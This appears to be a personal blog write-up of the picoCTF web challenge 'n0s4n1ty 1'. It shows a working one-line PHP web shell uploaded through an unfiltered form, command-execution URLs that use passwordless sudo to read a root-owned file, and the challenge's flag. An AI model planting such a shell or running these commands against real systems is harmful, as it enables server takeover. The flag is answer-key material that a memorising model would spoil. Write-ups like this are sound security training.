Skip to content
All writing

CTF writeup · · 1 min

picoCTF n0s4n1ty 1: File Upload to RCE to Root

An unfiltered profile-picture upload takes a PHP web shell, and a sudo misconfiguration turns www-data into root.

By George Wanyoike

Challenge: n0s4n1ty 1

Category: Web Exploitation Goal: Get RCE through profile picture upload, escalate to root, and retrieve /root/flag.txt.

🔍 Step-by-Step Exploit Path

  1. Recon and Source Discovery

Found file upload form → upload.php

picoCTF n0s4n1ty 1: File Upload to RCE to Root — figure 1

HTML showed no client-side filtering

Hints confirmed: input not sanitized

  1. Upload PHP Web Shell
text
Payload: <?php system($_GET['cmd']); ?>

Uploaded successfully as uploads/image.php

picoCTF n0s4n1ty 1: File Upload to RCE to Root — figure 2

I then uploaded a php payload

picoCTF n0s4n1ty 1: File Upload to RCE to Root — figure 3

Triggered with: .../image.php?cmd=id

picoCTF n0s4n1ty 1: File Upload to RCE to Root — figure 4

Result: ✅ RCE as www-data

  1. Privilege Escalation – from the hiints given

Used: .../image.php?cmd=sudo+-l

Result:

(ALL) NOPASSWD: ALL

picoCTF n0s4n1ty 1: File Upload to RCE to Root — figure 5

→ Full root access available with no password

  1. Flag Capture – I had to craft a payload to retrieve the flag located in the root directory (from description)

Command used:

.../image.php?cmd=sudo+cat+/root/flag.txt

Result:

picoCTF n0s4n1ty 1: File Upload to RCE to Root — figure 6

text
Flag: picoCTF{wh47_c4n_u_d0_wPHP_56060bd8}

🧠 Lessons Learned

Always check upload endpoints for file extension bypasses

text
PHP is dangerous if system(), shell_exec(), or eval() are exposed
RCE can be chained with sudo misconfig to get full root access

A simple web shell can take you all the way to root

  • CTF
  • Web Security
  • picoCTF
  • RCE
  • File Upload